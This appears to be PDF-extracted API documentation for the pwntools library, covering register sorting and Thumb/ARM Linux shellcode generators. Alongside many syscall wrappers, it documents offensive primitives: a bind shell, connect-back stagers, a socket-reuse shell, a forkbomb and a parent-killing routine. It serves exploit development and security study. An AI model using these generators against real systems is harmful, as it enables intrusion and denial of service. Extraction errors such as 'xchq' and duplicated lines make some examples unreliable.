- •If xchg is True, it is assumed that dependency cyles can be broken by swapping the contents of two register (a la the xchg instruction on i386).
- •If xchg is not set, but not all destination registers in in_out are involved in a cycle, one of the registers outside the cycle will be used as a temporary register, and then overwritten with its final value.
- •If xchg is not set, and all registers are involved in a dependency cycle, the named register temporary is used as a temporary register.
- •If the dependency cycle cannot be resolved as described above, an exception is raised.

- in_out (dict) Dictionary of desired register states. Keys are registers, values are either registers or any other value.
- all_regs (list) List of all possible registers. Used to determine which values in in out are registers, versus regular values.
- tmp (obj, str) Named register (or other sentinel value) to use as a temporary register. If tmp is a named register and appears as a source value in in out, dependent

dencies are handled appropriately. tmp cannot be a destination register in in_out. If bool (tmp) ==True, this mode is enabled.

- **xchg** (*obj*) Indicates the existence of an instruction which can swap the contents of two registers without use of a third register. If bool (xchg) ==False, this mode is disabled.
- random (bool) Randomize as much as possible about the order or registers.

Returns

A list of tuples of (src, dest).

Each register may appear more than once, if a register is used as a temporary register, and later overwritten with its final value.

If xchg is True and it is used to break a dependency cycle, then reg_name will be None and value will be a tuple of the instructions to swap.

Example

```
>>> R = ['a', 'b', 'c', 'd', 'x', 'y', 'z']
```

If order doesn't matter for any subsequence, alphabetic order is used.

```
>>> regsort({'a': 1, 'b': 2}, R)
[('mov', 'a', 1), ('mov', 'b', 2)]
>>> regsort({'a': 'b', 'b': 'a'}, R)
[('xchg', 'a', 'b')]
>>> regsort({'a': 'b', 'b': 'a'}, R, tmp='X')
[('mov', 'X', 'a'),
 ('mov', 'a', 'b'),
 ('mov', 'b', 'X')]
>>> regsort({'a': 1, 'b': 'a'}, R)
[('mov', 'b', 'a'),
 ('mov', 'a', 1)]
>>> regsort({'a': 'b', 'b': 'a', 'c': 3}, R)
[('mov', 'c', 3),
 ('xchg', 'a', 'b')]
>>> regsort({'a': 'b', 'b': 'a', 'c': 'b'}, R)
[('mov', 'c', 'b'),
 ('xchq', 'a', 'b')]
>>> regsort({'a':'b', 'b':'a', 'x':'b'}, R, tmp='y', xchq=False)
[('mov', 'x', 'b'),
 ('mov', 'y', 'a'),
 ('mov', 'a', 'b'),
 ('mov', 'b', 'y')]
>>> regsort({'a':'b', 'b':'a', 'x':'b'}, R, tmp='x', xchg=False)
Traceback (most recent call last):
PwnlibException: Cannot break dependency cycles ...
>>> regsort({ 'a': 'b', 'b': 'c', 'c': 'a', 'x': '1', 'y': 'z', 'z': 'c'}, R)
[('mov', 'x', '1'),
 ('mov', 'y', 'z'),
 ('mov', 'z', 'c'),
 ('xchg', 'a', 'b'),
 ('xchg', 'b', 'c')]
>>> regsort({'a':'b','b':'c','c':'a','x':'1','y':'z','z':'c'}, R, tmp='x')
[('mov', 'y', 'z'),
 ('mov', 'z', 'c'),
```

```
('mov', 'x', 'a'),
    ('mov', 'a', 'b'),
    ('mov', 'b', 'c'),
    ('mov', 'x', '1')]
>>> regsort({'a':'b','b':'c','c':'a','x':'1','y':'z','z':'c'}, R, xchg=0)
[('mov', 'y', 'z'),
    ('mov', 'z', 'c'),
    ('mov', 'x', 'a'),
    ('mov', 'a', 'b'),
    ('mov', 'b', 'c'),
    ('mov', 'c', 'x'),
    ('mov', 'c', 'x'),
```

pwnlib.regsort.resolve_order(reg, deps)

Resolve the order of all dependencies starting at a given register.

Example

```
>>> want = {'a': 1, 'b': 'c', 'c': 'd', 'd': 7, 'x': 'd'}
>>> deps = {'a': [], 'b': [], 'c': ['b'], 'd': ['c', 'x'], 'x': []}
>>> resolve_order('a', deps)
['a']
>>> resolve_order('b', deps)
['b']
>>> resolve_order('c', deps)
['b', 'c']
>>> resolve_order('d', deps)
['b', 'c', 'x', 'd']
```

pwnlib.shellcraft.thumb — Shellcode for Thumb Mode

```
pwnlib.shellcraft.thumb
```

Shellcraft module containing generic thumb little endian shellcodes.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True) < 0
True
```

```
pwnlib.shellcraft.thumb.infloop()
```

An infinite loop.

```
pwnlib.shellcraft.thumb.itoa(v, buffer='sp', allocate_stack=True)
```

Converts an integer into its string representation, and pushes it onto the stack. Uses registers r0-r5.

- $\mathbf{v}(str, int)$ Integer constant or register that contains the value to convert.
- alloca -

Example

```
>>> sc = shellcraft.thumb.mov('r0', 0xdeadbeef)
>>> sc += shellcraft.thumb.itoa('r0')
>>> sc += shellcraft.thumb.linux.write(1, 'sp', 32)
>>> run_assembly(sc).recvuntil('\x00')
'3735928559\x00'
```

pwnlib.shellcraft.thumb.memcpy (dest, src, n)
Copies memory.

Parameters

- dest Destination address
- src Source address
- **n** Number of bytes

pwnlib.shellcraft.thumb.mov(dst, src)

Returns THUMB code for moving the specified source value into the specified destination register.

If src is a string that is not a register, then it will locally set *context.arch* to 'thumb' and use pwnlib.constants.eval() to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Example

```
>>> print shellcraft.thumb.mov('r1','r2').rstrip()
   mov r1, r2
>>> print shellcraft.thumb.mov('r1', 0).rstrip()
   eor r1, r1
>>> print shellcraft.thumb.mov('r1', 10).rstrip()
   mov r1, \#0xa + 1
    sub r1, r1, 1
>>> print shellcraft.thumb.mov('r1', 17).rstrip()
   mov r1, #0x11
>>> print shellcraft.thumb.mov('r1', 'r1').rstrip()
   /* moving r1 into r1, but this is a no-op */
>>> print shellcraft.thumb.mov('r1', 512).rstrip()
   mov r1, #0x200
>>> print shellcraft.thumb.mov('r1', 0x10000001).rstrip()
   mov r1, \#(0x10000001 >> 28)
   lsl r1, #28
   add r1, #(0x10000001 & 0xff)
>>> print shellcraft.thumb.mov('r1', 0xdead0000).rstrip()
   mov r1, \#(0xdead00000 >> 25)
   lsl r1, #(25 - 16)
   add r1, #((0xdead0000 >> 16) & 0xff)
   lsl r1, #16
>>> print shellcraft.thumb.mov('r1', 0xdead00ff).rstrip()
   ldr r1, value_...
   b value_..._after
value_...: .word 0xdead00ff
value ... after:
>>> with context.local(os = 'linux'):
       print shellcraft.thumb.mov('r1', 'SYS_execve').rstrip()
   mov r1, #(SYS_execve) /* 0xb */
```

```
>>> with context.local(os = 'freebsd'):
...     print shellcraft.thumb.mov('r1', 'SYS_execve').rstrip()
     mov r1, #(SYS_execve) /* 0x3b */
>>> with context.local(os = 'linux'):
...     print shellcraft.thumb.mov('r1', 'PROT_READ | PROT_WRITE | PROT_EXEC').rstrip()
     mov r1, #(PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
pwnlib.shellcraft.thumb.nop()
```

A nop instruction.

```
pwnlib.shellcraft.thumb.popad()
```

Pop all of the registers onto the stack which i386 popad does, in the same order.

```
pwnlib.shellcraft.thumb.push(value)
```

Pushes a value onto the stack without using null bytes or newline characters.

If src is a string, then we try to evaluate with *context.arch* = 'thumb' using pwnlib.constants.eval() before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Parameters value (int, str) – The value or register to push

Example

```
>>> print pwnlib.shellcraft.thumb.push('r0').rstrip()
   push {r0}
>>> print pwnlib.shellcraft.thumb.push(0).rstrip()
    /* push 0 */
   eor r7, r7
   push {r7}
>>> print pwnlib.shellcraft.thumb.push(1).rstrip()
   /* push 1 */
   mov r7, #1
   push {r7}
>>> print pwnlib.shellcraft.thumb.push(256).rstrip()
   /* push 256 */
   mov r7, #0x100
   push {r7}
>>> print pwnlib.shellcraft.thumb.push('SYS_execve').rstrip()
   /* push 'SYS_execve' */
   mov r7, \#0xb
   push {r7}
>>> with context.local(os = 'freebsd'):
       print pwnlib.shellcraft.thumb.push('SYS_execve').rstrip()
    /* push 'SYS_execve' */
   mov r7, #0x3b
   push {r7}
```

pwnlib.shellcraft.thumb.pushad()

Push all of the registers onto the stack which i386 pushad does, in the same order.

```
pwnlib.shellcraft.thumb.pushstr(string, append_null=True, register='r7')
```

Pushes a string onto the stack without using null bytes or newline characters.

- **string** (*str*) The string to push.
- append_null (bool) Whether to append a single NULL-byte before pushing.

Examples:

Note that this doctest has two possibilities for the first result, depending on your version of binutils.

pwnlib.shellcraft.thumb.pushstr_array(reg, array)

Pushes an array/envp-style array of pointers onto the stack.

Parameters

- reg(str) Destination register to hold the pointer.
- **array** (str, list) Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

pwnlib.shellcraft.thumb.ret(return_value=None)

A single-byte RET instruction.

Parameters return_value - Value to return

```
pwnlib.shellcraft.thumb.setregs(reg_context, stack_allowed=True)
```

Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).

Parameters

- reg_context (dict) Desired register context
- stack allowed (bool) Can the stack be used?

Example

```
>>> print shellcraft.setregs({'r0':1, 'r2':'r3'}).rstrip()
    mov r0, #1
    mov r2, r3
>>> print shellcraft.setregs({'r0':'r1', 'r1':'r0', 'r2':'r3'}).rstrip()
    mov r2, r3
    eor r0, r0, r1 /* xchg r0, r1 */
    eor r1, r0, r1
    eor r0, r0, r1
```

```
pwnlib.shellcraft.thumb.to_arm(reg=None, avoid=[])
```

Go from THUMB to ARM mode.

```
pwnlib.shellcraft.thumb.trap()
```

A trap instruction.

```
pwnlib.shellcraft.thumb.udiv 10(N)
```

Divides r0 by 10. Result is stored in r0, N and Z flags are updated.

Code is from generated from here: https://raw.githubusercontent.com/rofirrim/raspberry-pi-assembler/master/chapter15/magic.py

With code: python magic.py 10 code_for_unsigned

```
pwnlib.shellcraft.thumb.linux
```

Shellcraft module containing THUMB shellcodes for Linux.

pwnlib.shellcraft.thumb.linux.accept (fd, addr, addr_len)
Invokes the syscall accept. See 'man 2 accept' for more information.

Parameters

- **fd**(int)-fd
- addr (SOCKADDR_ARG) addr
- addr_len (socklen_t) addr_len

pwnlib.shellcraft.thumb.linux.access(name, type)

Invokes the syscall access. See 'man 2 access' for more information.

Parameters

- name (char) name
- type (int) type

pwnlib.shellcraft.thumb.linux.acct(name)

Invokes the syscall acct. See 'man 2 acct' for more information.

pwnlib.shellcraft.thumb.linux.alarm(seconds)

Invokes the syscall alarm. See 'man 2 alarm' for more information.

Parameters seconds (unsigned) - seconds

pwnlib.shellcraft.thumb.linux.bind(fd, addr, length)

Invokes the syscall bind. See 'man 2 bind' for more information.

Parameters

- fd(int)-fd
- addr (CONST_SOCKADDR_ARG) addr
- len (socklen_t) len

pwnlib.shellcraft.thumb.linux.bindsh(port, network)

Listens on a TCP port and spawns a shell for the first to connect. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

pwnlib.shellcraft.thumb.linux.brk (addr)

Invokes the syscall brk. See 'man 2 brk' for more information.

Parameters addr (void) - addr

pwnlib.shellcraft.thumb.linux.cat (filename, fd=1)

Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG\n')
>>> run_assembly(shellcraft.arm.to_thumb()+shellcraft.thumb.linux.cat(f)).recvline()
'FLAG\n'
```

pwnlib.shellcraft.thumb.linux.chdir(path)

Invokes the syscall chdir. See 'man 2 chdir' for more information.

Parameters path (char) - path

pwnlib.shellcraft.thumb.linux.chmod(file, mode)

Invokes the syscall chmod. See 'man 2 chmod' for more information.

Parameters

- file (char) file
- mode (mode_t) mode

pwnlib.shellcraft.thumb.linux.chown (file, owner, group)

Invokes the syscall chown. See 'man 2 chown' for more information.

Parameters

- file (char) file
- owner (uid t) owner
- **group** (*gid_t*) group

pwnlib.shellcraft.thumb.linux.chroot(path)

Invokes the syscall chroot. See 'man 2 chroot' for more information.

Parameters path (char) - path

pwnlib.shellcraft.thumb.linux.clock_getres(clock_id, res)

Invokes the syscall clock_getres. See 'man 2 clock_getres' for more information.

Parameters

- $clock_id(clockid_t) clock_id$
- res(timespec)-res

pwnlib.shellcraft.thumb.linux.clock_gettime(clock_id, tp)

Invokes the syscall clock_gettime. See 'man 2 clock_gettime' for more information.

Parameters

- clock_id(clockid_t)-clock_id
- **tp** (timespec) **tp**

pwnlib.shellcraft.thumb.linux.clock_nanosleep(clock_id, flags, req, rem)

Invokes the syscall clock_nanosleep. See 'man 2 clock_nanosleep' for more information.

- clock_id (clockid_t) clock_id
- flags (int) flags
- req(timespec)-req
- rem (timespec) rem

pwnlib.shellcraft.thumb.linux.clock_settime(clock_id, tp)

Invokes the syscall clock_settime. See 'man 2 clock_settime' for more information.

Parameters

- clock id (clockid t) clock id
- **tp** (*timespec*) **tp**

pwnlib.shellcraft.thumb.linux.clone(fn, child_stack, flags, arg, vararg)

Invokes the syscall clone. See 'man 2 clone' for more information.

Parameters

- **fn** (int) fn
- child_stack (void) child_stack
- flags (int) flags
- arg (void) arg
- **vararg** (*int*) vararg

pwnlib.shellcraft.thumb.linux.close(fd)

Invokes the syscall close. See 'man 2 close' for more information.

pwnlib.shellcraft.thumb.linux.connect(host, port, network='ipv4')

Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in R6.

pwnlib.shellcraft.thumb.linux.connectstager(host, port, network='ipv4')

connect recvsize stager :param host, where to connect to: :param port, which port to connect to: :param network, ipv4 or ipv6? (default: ipv4)

pwnlib.shellcraft.thumb.linux.creat(file, mode)

Invokes the syscall creat. See 'man 2 creat' for more information.

Parameters

- file (char) file
- mode (mode_t) mode

pwnlib.shellcraft.thumb.linux.dup(sock='r6')

Args: [sock (imm/reg) = r6] Duplicates sock to stdin, stdout and stderr

pwnlib.shellcraft.thumb.linux.dup2 (fd, fd2)

Invokes the syscall dup2. See 'man 2 dup2' for more information.

Parameters

- **fd**(int)-fd
- fd2 (int) fd2

pwnlib.shellcraft.thumb.linux.dup3(fd, fd2, flags)

Invokes the syscall dup3. See 'man 2 dup3' for more information.

- **fd** (int) fd
- fd2 (int) fd2
- flags (int) flags

```
pwnlib.shellcraft.thumb.linux.dupsh(sock='r6')
    Args: [sock (imm/reg) = ebp] Duplicates sock to stdin, stdout and stderr and spawns a shell.
pwnlib.shellcraft.thumb.linux.echo(string, sock='1')
    Writes a string to a file descriptor
```

Example

```
>>> run_assembly(shellcraft.echo('hello\n', 1)).recvline()
'hello\n'
```

```
pwnlib.shellcraft.thumb.linux.epoll_create(size)
```

Invokes the syscall epoll_create. See 'man 2 epoll_create' for more information.

pwnlib.shellcraft.thumb.linux.epoll_create1 (flags)

Invokes the syscall epoll_create1. See 'man 2 epoll_create1' for more information.

pwnlib.shellcraft.thumb.linux.epoll_ctl(epfd, op, fd, event)

Invokes the syscall epoll_ctl. See 'man 2 epoll_ctl' for more information.

Parameters

- epfd (int) epfd
- **op** (int) **op**
- **fd**(int)-fd
- event (epoll_event) event

pwnlib.shellcraft.thumb.linux.epoll_pwait(epfd, events, maxevents, timeout, ss) Invokes the syscall epoll_pwait. See 'man 2 epoll_pwait' for more information.

Parameters

- epfd(int)-epfd
- events (epoll_event) events
- maxevents (int) maxevents
- timeout (int) timeout
- **ss** (sigset_t) ss

pwnlib.shellcraft.thumb.linux.epoll_wait(epfd, events, maxevents, timeout) Invokes the syscall epoll_wait. See 'man 2 epoll_wait' for more information.

Parameters

- epfd(int)-epfd
- events (epoll_event) events
- maxevents (int) maxevents
- timeout (int) timeout

pwnlib.shellcraft.thumb.linux.execve (path='/bin///sh', argv=[], envp={})
 Execute a different process.

```
>>> path = '/bin/sh'
>>> argv = ['sh', '-c', 'echo Hello, $NAME; exit $STATUS']
>>> envp = {'NAME': 'zerocool', 'STATUS': 3}
>>> sc = shellcraft.arm.linux.execve(path, argv, envp)
>>> io = run_assembly(sc)
>>> io.recvall()
'Hello, zerocool\n'
>>> io.poll(True)
3
```

pwnlib.shellcraft.thumb.linux.exit(status)

Invokes the syscall exit. See 'man 2 exit' for more information.

Parameters status (int) – status

pwnlib.shellcraft.thumb.linux.faccessat (fd, file, type, flag)
Invokes the syscall faccessat. See 'man 2 faccessat' for more information.

Parameters

- **fd**(int)-fd
- file (char) file
- **type** (*int*) type
- flag(int)-flag

pwnlib.shellcraft.thumb.linux.fallocate (fd, mode, offset, length)
Invokes the syscall fallocate. See 'man 2 fallocate' for more information.

Parameters

- fd(int)-fd
- mode (int) mode
- offset (off_t) offset
- **len** (off_t) len

pwnlib.shellcraft.thumb.linux.fchdir(fd)

Invokes the syscall fchdir. See 'man 2 fchdir' for more information.

pwnlib.shellcraft.thumb.linux.fchmod(fd, mode)

Invokes the syscall fchmod. See 'man 2 fchmod' for more information.

Parameters

- **fd**(int)-fd
- mode (mode t) mode

pwnlib.shellcraft.thumb.linux.fchmodat(fd, file, mode, flag)

Invokes the syscall fchmodat. See 'man 2 fchmodat' for more information.

- **fd** (int) fd
- file (char) file
- mode (mode_t) mode
- flag(int)-flag

pwnlib.shellcraft.thumb.linux.fchown (fd, owner, group)

Invokes the syscall fchown. See 'man 2 fchown' for more information.

Parameters

- **fd** (int) fd
- owner (uid_t) owner
- **group** (*gid_t*) group

pwnlib.shellcraft.thumb.linux.fchownat(fd, file, owner, group, flag)

Invokes the syscall fchownat. See 'man 2 fchownat' for more information.

Parameters

- **fd** (int) fd
- file (char) file
- owner (uid_t) owner
- $group(gid_t) group$
- flag(int)-flag

pwnlib.shellcraft.thumb.linux.fcntl(fd, cmd, vararg)

Invokes the syscall fcntl. See 'man 2 fcntl' for more information.

Parameters

- fd(int)-fd
- cmd (int) cmd
- vararg (int) vararg

pwnlib.shellcraft.thumb.linux.fdatasync(fildes)

Invokes the syscall fdatasync. See 'man 2 fdatasync' for more information.

pwnlib.shellcraft.thumb.linux.findpeer(port)

Finds a connected socket. If port is specified it is checked against the peer port. Resulting socket is left in r6.

pwnlib.shellcraft.thumb.linux.findpeersh(port)

Finds a connected socket. If port is specified it is checked against the peer port. A dup2 shell is spawned on it.

pwnlib.shellcraft.thumb.linux.findpeerstager(port=None)

Findpeer recvsize stager :param port, the port given to findpeer: :type port, the port given to findpeer: defaults to any

pwnlib.shellcraft.thumb.linux.flock(fd, operation)

Invokes the syscall flock. See 'man 2 flock' for more information.

Parameters

- **fd**(int)-fd
- operation (int) operation

pwnlib.shellcraft.thumb.linux.fork()

Invokes the syscall fork. See 'man 2 fork' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.forkbomb()

Performs a forkbomb attack.

pwnlib.shellcraft.thumb.linux.forkexit()

Attempts to fork. If the fork is successful, the parent exits.

pwnlib.shellcraft.thumb.linux.fstat(fd, buf)

Invokes the syscall fstat. See 'man 2 fstat' for more information.

Parameters

- **fd** (int) fd
- buf (stat) buf

pwnlib.shellcraft.thumb.linux.fstat64(fd, buf)

Invokes the syscall fstat64. See 'man 2 fstat64' for more information.

Parameters

- **fd**(int)-fd
- **buf** (stat64) buf

pwnlib.shellcraft.thumb.linux.fstatat64(fd, file, buf, flag)

Invokes the syscall fstatat64. See 'man 2 fstatat64' for more information.

Parameters

- **fd** (int) fd
- file (char) file
- **buf** (stat64) **buf**
- flag(int)-flag

pwnlib.shellcraft.thumb.linux.fsync(fd)

Invokes the syscall fsync. See 'man 2 fsync' for more information.

Parameters
$$fd(int) - fd$$

pwnlib.shellcraft.thumb.linux.ftruncate(fd, length)

Invokes the syscall ftruncate. See 'man 2 ftruncate' for more information.

Parameters

- fd(int)-fd
- length (off_t) length

 $\verb|pwnlib.shellcraft.thumb.linux.ftruncate64| (\textit{fd}, \textit{length})$

Invokes the syscall ftruncate64. See 'man 2 ftruncate64' for more information.

Parameters

- fd(int)-fd
- length (off64_t) length

pwnlib.shellcraft.thumb.linux.futimesat(fd, file, tvp)

Invokes the syscall futimesat. See 'man 2 futimesat' for more information.

- fd(int)-fd
- file (char) file
- **tvp** (timeval) tvp

pwnlib.shellcraft.thumb.linux.getcwd(buf, size)

Invokes the syscall getcwd. See 'man 2 getcwd' for more information.

Parameters

- buf (char) buf
- size (size_t) size

pwnlib.shellcraft.thumb.linux.getegid()

Invokes the syscall getegid. See 'man 2 getegid' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.geteuid()

Invokes the syscall geteuid. See 'man 2 geteuid' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.getgid()

Invokes the syscall getgid. See 'man 2 getgid' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.getgroups (size, list)

Invokes the syscall getgroups. See 'man 2 getgroups' for more information.

Parameters

- **size** (*int*) **size**
- **list** (gid t) list

pwnlib.shellcraft.thumb.linux.getitimer(which, value)

Invokes the syscall getitimer. See 'man 2 getitimer' for more information.

Parameters

- which (itimer_which_t) which
- value (itimerval) value

pwnlib.shellcraft.thumb.linux.getpeername (fd, addr, length)

Invokes the syscall getpeername. See 'man 2 getpeername' for more information.

Parameters

- **fd** (int) fd
- addr (SOCKADDR ARG) addr
- len (socklen t) len

pwnlib.shellcraft.thumb.linux.getpgid(pid)

Invokes the syscall getpgid. See 'man 2 getpgid' for more information.

pwnlib.shellcraft.thumb.linux.getpgrp()

Invokes the syscall getpgrp. See 'man 2 getpgrp' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.getpid()

Invokes the syscall getpid. See 'man 2 getpid' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.getpmsg (fildes, ctlptr, dataptr, bandp, flagsp)
Invokes the syscall getpmsg. See 'man 2 getpmsg' for more information.

Parameters

- fildes (int) fildes
- ctlptr (strbuf) ctlptr
- dataptr (strbuf) dataptr
- bandp (int) bandp
- flagsp (int) flagsp

pwnlib.shellcraft.thumb.linux.getppid()

Invokes the syscall getppid. See 'man 2 getppid' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.getpriority(which, who)

Invokes the syscall getpriority. See 'man 2 getpriority' for more information.

Parameters

- which (priority_which_t) which
- **who** (*id t*) who

pwnlib.shellcraft.thumb.linux.getresgid(rgid, egid, sgid)

Invokes the syscall getresgid. See 'man 2 getresgid' for more information.

Parameters

- **rgid** (*gid_t*) **rgid**
- **egid** (gid_t) **egid**
- **sgid** (*gid_t*) **sgid**

pwnlib.shellcraft.thumb.linux.getresuid(ruid, euid, suid)

Invokes the syscall getresuid. See 'man 2 getresuid' for more information.

Parameters

- **ruid** (*uid_t*) **ruid**
- **euid** (*uid_t*) **euid**
- suid(uid t) suid

pwnlib.shellcraft.thumb.linux.getrlimit(resource, rlimits)

Invokes the syscall getrlimit. See 'man 2 getrlimit' for more information.

Parameters

- resource (rlimit_resource_t) resource
- rlimits (rlimit) rlimits

pwnlib.shellcraft.thumb.linux.getrusage(who, usage)

Invokes the syscall getrusage. See 'man 2 getrusage' for more information.

- who (rusage_who_t) who
- usage (rusage) usage

pwnlib.shellcraft.thumb.linux.getsid(pid)

Invokes the syscall getsid. See 'man 2 getsid' for more information.

Parameters $pid(pid_t) - pid$

pwnlib.shellcraft.thumb.linux.getsockname(fd, addr, length)

Invokes the syscall getsockname. See 'man 2 getsockname' for more information.

Parameters

- fd(int)-fd
- addr (SOCKADDR_ARG) addr
- len (socklen_t) len

pwnlib.shellcraft.thumb.linux.getsockopt(fd, level, optname, optval, optlen)

Invokes the syscall getsockopt. See 'man 2 getsockopt' for more information.

Parameters

- **fd** (int) fd
- level (int) level
- optname (int) optname
- optval (void) optval
- optlen (socklen_t) optlen

pwnlib.shellcraft.thumb.linux.gettimeofday(tv, tz)

Invokes the syscall gettimeofday. See 'man 2 gettimeofday' for more information.

Parameters

- tv (timeval) tv
- tz (timezone_ptr_t) tz

pwnlib.shellcraft.thumb.linux.getuid()

Invokes the syscall getuid. See 'man 2 getuid' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.gtty(fd, params)

Invokes the syscall gtty. See 'man 2 gtty' for more information.

Parameters

- **fd**(int)-fd
- params (sqttyb) params

pwnlib.shellcraft.thumb.linux.ioctl(fd, request, vararg)

Invokes the syscall ioctl. See 'man 2 ioctl' for more information.

Parameters

- fd(int)-fd
- request (unsigned) request
- vararg(int) vararg

pwnlib.shellcraft.thumb.linux.ioperm(from_, num, turn_on)

Invokes the syscall ioperm. See 'man 2 ioperm' for more information.

- from (unsigned) from
- num (unsigned) num
- turn_on (int) turn_on

pwnlib.shellcraft.thumb.linux.iopl(level)

Invokes the syscall iopl. See 'man 2 iopl' for more information.

Parameters level (int) - level

pwnlib.shellcraft.thumb.linux.kill(pid, sig)

Invokes the syscall kill. See 'man 2 kill' for more information.

Parameters

- **pid** (pid_t) **pid**
- **sig** (*int*) **sig**

pwnlib.shellcraft.thumb.linux.killparent()

Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

pwnlib.shellcraft.thumb.linux.lchown (file, owner, group)

Invokes the syscall lchown. See 'man 2 lchown' for more information.

Parameters

- file (char) file
- owner (uid_t) owner
- **group** (gid_t) group

pwnlib.shellcraft.thumb.linux.link(from_, to)

Invokes the syscall link. See 'man 2 link' for more information.

Parameters

- from (char) from
- to (char) to

pwnlib.shellcraft.thumb.linux.linkat(fromfd, from_, tofd, to, flags)

Invokes the syscall linkat. See 'man 2 linkat' for more information.

Parameters

- **fromfd** (int) fromfd
- from (char) from
- tofd(int)-tofd
- to (char) to
- flags (int) flags

pwnlib.shellcraft.thumb.linux.listen(port, network)

Listens on a TCP port, accept a client and leave his socket in r6. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

pwnlib.shellcraft.thumb.linux.loader(address)

Loads a statically-linked ELF into memory and transfers control.

Parameters address (int) – Address of the ELF as a register or integer.

pwnlib.shellcraft.thumb.linux.loader_append(data=None)

Loads a statically-linked ELF into memory and transfers control.

Similar to loader.asm but loads an appended ELF.

Parameters data (str) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If None, it is ignored.

Example:

The following doctest is commented out because it doesn't work on Travis for reasons I cannot diagnose. However, it should work just fine :-)

#>>> gcc = process(['arm-linux-gnueabihf-gcc','-xc','-static','-Wl,-Ttext-segment=0x20000000','']) #>>> gcc.write('" # ... int main() { # ... printf("Hello, %s!\n", "world"); # ... } # ... ''') #>>>
gcc.shutdown('send') #>>> gcc.poll(True) # 0 #>>> sc = shellcraft.loader_append('a.out') #>>>
run_assembly(sc).recvline() # 'Hello, world!n'

pwnlib.shellcraft.thumb.linux.lseek (fd, offset, whence)

Invokes the syscall lseek. See 'man 2 lseek' for more information.

Parameters

- fd(int)-fd
- offset (off_t) offset
- whence (int) whence

pwnlib.shellcraft.thumb.linux.lstat(file, buf)

Invokes the syscall lstat. See 'man 2 lstat' for more information.

Parameters

- file (char) file
- buf (stat) buf

pwnlib.shellcraft.thumb.linux.lstat64(file, buf)

Invokes the syscall lstat64. See 'man 2 lstat64' for more information.

Parameters

- file (char) file
- **buf** (stat64) buf

 $\verb|pwnlib.shellcraft.thumb.linux.madvise| (addr, length, advice)|$

Invokes the syscall madvise. See 'man 2 madvise' for more information.

Parameters

- addr (void) addr
- **len** (*size_t*) len
- advice (int) advice

pwnlib.shellcraft.thumb.linux.mincore(start, length, vec)

Invokes the syscall mincore. See 'man 2 mincore' for more information.

- start (void) start
- **len** (*size_t*) len
- **vec** (unsigned) **vec**

pwnlib.shellcraft.thumb.linux.mkdir(path, mode)

Invokes the syscall mkdir. See 'man 2 mkdir' for more information.

Parameters

- path (char) path
- mode (mode_t) mode

pwnlib.shellcraft.thumb.linux.mkdirat(fd, path, mode)

Invokes the syscall mkdirat. See 'man 2 mkdirat' for more information.

Parameters

- **fd**(int)-fd
- path (char) path
- mode (mode_t) mode

pwnlib.shellcraft.thumb.linux.mknod(path, mode, dev)

Invokes the syscall mknod. See 'man 2 mknod' for more information.

Parameters

- path (char) path
- mode (mode_t) mode
- **dev** (dev_t) dev

pwnlib.shellcraft.thumb.linux.mknodat(fd, path, mode, dev)

Invokes the syscall mknodat. See 'man 2 mknodat' for more information.

Parameters

- **fd**(int)-fd
- path (char) path
- mode (mode_t) mode
- **dev** (dev_t) dev

pwnlib.shellcraft.thumb.linux.mlock(addr, length)

Invokes the syscall mlock. See 'man 2 mlock' for more information.

Parameters

- addr (void) addr
- len (size t) len

pwnlib.shellcraft.thumb.linux.mlockall(flags)

Invokes the syscall mlockall. See 'man 2 mlockall' for more information.

pwnlib.shellcraft.thumb.linux.mmap(addr=0, length=4096, prot=7, flags=34, fd=-1, offset=0) Invokes the syscall mmap. See 'man 2 mmap' for more information.

- addr (void) addr
- length (size_t) length
- **prot** (int) prot

```
flags (int) - flags
fd (int) - fd
offset (off_t) - offset
```

pwnlib.shellcraft.thumb.linux.mov(dst, src)

Returns THUMB code for moving the specified source value into the specified destination register.

If src is a string that is not a register, then it will locally set *context.arch* to 'thumb' and use pwnlib.constants.eval() to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Example

```
>>> print shellcraft.thumb.mov('r1','r2').rstrip()
   mov r1, r2
>>> print shellcraft.thumb.mov('r1', 0).rstrip()
   eor rl, rl
>>> print shellcraft.thumb.mov('r1', 10).rstrip()
   mov r1, \#0xa + 1
   sub r1, r1, 1
>>> print shellcraft.thumb.mov('r1', 17).rstrip()
   mov r1, #0x11
>>> print shellcraft.thumb.mov('r1', 'r1').rstrip()
   /* moving r1 into r1, but this is a no-op */
>>> print shellcraft.thumb.mov('r1', 512).rstrip()
   mov r1, #0x200
>>> print shellcraft.thumb.mov('r1', 0x10000001).rstrip()
   mov r1, \#(0x10000001 >> 28)
   lsl r1, #28
   add r1, #(0x10000001 & 0xff)
>>> print shellcraft.thumb.mov('r1', 0xdead0000).rstrip()
   mov r1, \#(0xdead00000 >> 25)
   lsl r1, \#(25 - 16)
   add r1, #((0xdead0000 >> 16) & 0xff)
   lsl r1, #16
>>> print shellcraft.thumb.mov('r1', 0xdead00ff).rstrip()
   ldr r1, value_...
   b value_..._after
value_...: .word 0xdead00ff
value_..._after:
>>> with context.local(os = 'linux'):
      print shellcraft.thumb.mov('r1', 'SYS_execve').rstrip()
   mov r1, #(SYS_execve) /* 0xb */
>>> with context.local(os = 'freebsd'):
      print shellcraft.thumb.mov('r1', 'SYS_execve').rstrip()
   mov r1, #(SYS_execve) /* 0x3b */
